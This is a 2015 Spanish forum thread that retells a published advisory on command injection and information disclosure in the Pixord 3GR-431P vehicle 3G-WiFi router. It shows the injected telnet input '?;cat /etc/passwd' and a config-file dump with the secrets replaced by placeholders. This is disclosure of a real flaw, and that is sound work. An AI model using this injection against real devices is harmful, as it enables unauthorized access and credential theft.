Wifi en la carratera : Router Pixord para coche pinchado.

kcdtv · 03-10-2015 19:58:59

Inyección de comandos y información sensible al descubierto en los puntos de acceso 3G-WiFi de Pixord para vehículos

Señor mecánico... ¡Tengo el router pinchado!

Fuente :

PIXORD Vehicle 3G Wi-Fi Router Command Injection / Information Disclosure de Karn GANESHEN @ Packet Storm

No conocía hasta hoy al fabricante "Pixord" ni a su eslogan "Moving Pictures Around The World".
¡Que bonito! tongue
Pixord es un empresa de Taiwan creada en el año 2000 y especializada en la producción de cameras vídeos para redes :

PIXORD corporation escribió:

" Network Camera, Dual Lens Camera, Fisheye Panorama Network Camera, Smart Home Cloud Camera, Box Camera, LPR Bullet Camera, Dome Camera"

Pagina web oficial :

PIXORD corporation

Además de sus cameras vídeos fabrican también un modelo de router 3G-Wifi para coches : el 3GR-431P

Dos puertos ethernet y un chipset que convierte la señal 3G en una red WiFi 802.11n (2T2R).
Y lleva GPS (estamos en coche).

Múltiples vulnerabilidades a bordo

Es por telnet que empieza el viaje...
miremos los comandos que son supuestamente disponibles:

Vehicle 3G Wi-Fi Router
Login: admin
Password:
>
> ?
mobile3G
mobileGPS
model
reboot
restoredefault
version

Parece que estamos muy limitados... Pro no es así.
miremos lo que pasa si pedimos que nos abre el archivo "password" con el comando cat

> ?;cat /etc/passwd
sh: ?: not found

admin:<password1>:0:0:Adminstrator:/:/bin/sh
support:<password2>:0:0:Adminstrator:/:/bin/sh
user:<password3>:0:0:Adminstrator:/:/bin/sh

ups... primera brecha podemos inyectar comandos .sh por telnet. big_smile

El fichero password se puede abrir así desde cualquiera de las cuentas.
Un usuario cualquiera puede obtener la contraseña de administrador
Y tenemos a otra brecha : una escala de privilegios

Tercera brecha : las cuentas user y support tienen exactamente los mismos derechos que la de administrador.
Es un sin sentido.
Un usuario cualquiera puede entonces acceder directamente al fichero de configuración en uso : RT2880_Settings.dat
Una masacre en vivo :

*Sensitive information in configuration file - *

*more RT2880_Settings.dat *
#The following line must not be removed.
Default
WebInit=1
HostName=pixord
Login=admin
Password=<admin_password_here>=
Login2=support
Password2=<support_password_here>==
Login3=user
Password3=<user_password_here>==
OperationMode=1
Platform=RT3352
.....
<snip>
.....
wan_pppoe_user=pppoe_user
wan_pppoe_pass=pppoe_passwd
wan_l2tp_server=l2tp_server
wan_l2tp_user=l2tp_user
wan_l2tp_pass=l2tp_passwd
.....
<snip>
.....
wan_pptp_server=pptp_server
wan_pptp_user=pptp_user
wan_pptp_pass=pptp_passwd
.....
<snip>
.....
DDNS=
DDNSAccount=<ddns_account_name_here>
DDNSPassword=<ddns_password_here>
CountryRegion=
CountryRegionABand=
CountryCode=
BssidNum=1
SSID1=PiXORD
WirelessMode=9
.....
<snip>
.....
WscSSID=RalinkInitialAP
WscKeyMGMT=WPA-EAP
WscConfigMethod=138
WscAuthType=1
WscEncrypType=1
WscNewKey=<wsc_key_here>
IEEE8021X=0
IEEE80211H=0
CSPeriod=6
PreAuth=0
AuthMode=WPAPSKWPA2PSK
EncrypType=TKIPAES
RekeyInterval=3600
RekeyMethod=TIME
PMKCachePeriod=10
WPAPSK1=<WPA_PSK_Key_here>
DefaultKeyID=2
Key1Type=0
Key1Str1=
Key2Type=0
Key2Str1=
Key3Type=0
Key3Str1=
Key4Type=0
Key4Str1=
WapiPskType=0
.....
<snip>
.....
WdsEnable=0
WdsEncrypType=NONE
WdsList=
WdsKey=
WirelessEvent=0
RADIUS_Server=0
RADIUS_Port=1812
RADIUS_Key=
RADIUS_Acct_Server=
RADIUS_Acct_Port=1813
RADIUS_Acct_Key=
.....
<snip>
.....
wan_3g_apn=public
wan_3g_dial=*99#
wan_3g_user=
wan_3g_pass=
<snip>
RADIUS_Key1=<radius_key_here>
.....
<snip>
.....

Contraseñas y llave WPA para [email protected]..

El router tiene también un proceso raro en tarea de fondo (inadyn) que pasa las contraseñas en texto plano...
Si la seguridad al volante es muy importante entonces es mejor no usar un router Pixord... tongue

dynyly · 03-10-2015 20:36:55

salu2
vaya vaya ahora se entiende mas sobre las noticias que ponias de hakeo de coches ...
pero ...eso de tener lo mas parecido a un router ¿que coches lo llevaran?
por mi barrio fijo que mu pocos lol :lol:
fuera bromas eso me parece que algo parecido ya lo llevan de hace años coches de alta gama ¿no?

si con un simple inhibidor robaban en el interior de los coches tongue :P:P

salu2
gracias por tus post amigo

kcdtv · 04-10-2015 20:11:57

fuera bromas eso me parece que algo parecido ya lo llevan de hace años coches de alta gama ¿no?

He visto algo parecido en un autobús "megabus" (low coast pero tienes Internet)
Con un diseño así , a lo bruto.
No se si era un pixord,,, La red era abierta y además como usan un portal cautivo ( y monitorean el trafico ) no tienes ninguno certificado https que sale bien.
Era una basura a nivel de seguridad...
El alcance de la red no era mal del todo ya que podías conectarte a unos 25 metros del autobús.

Tema	Respuestas	Vistas	Ultimo mensaje
Extracción de firmware LiveBox 2.1 Arcadyan ARV7520CW22 por Patcher	9	3562	Hoy 19:06:19 por mellon
NaranjaMekanika (nmk): Generador PIN por defecto livebox 2.1 y Next por kcdtv	9	481	Hoy 18:24:39 por Vodker
Pegado: Pegado:: Todo sobre al algoritmo WPS Livebox Arcadyan (Orange-XXXX) por kcdtv	11	416	Hoy 14:20:41 por Patcher
Actualiza la version de PHP por favy87	10	176	Hoy 00:22:51 por USUARIONUEVO
WPS en Technicolor TC7230 ( vodafoneXXXX y vodafoneXXXX-5G ) por kcdtv	5	638	Ayer 23:27:09 por calavazo32

Foro Wifi-libre.com

Anuncio

#1 03-10-2015 19:58:59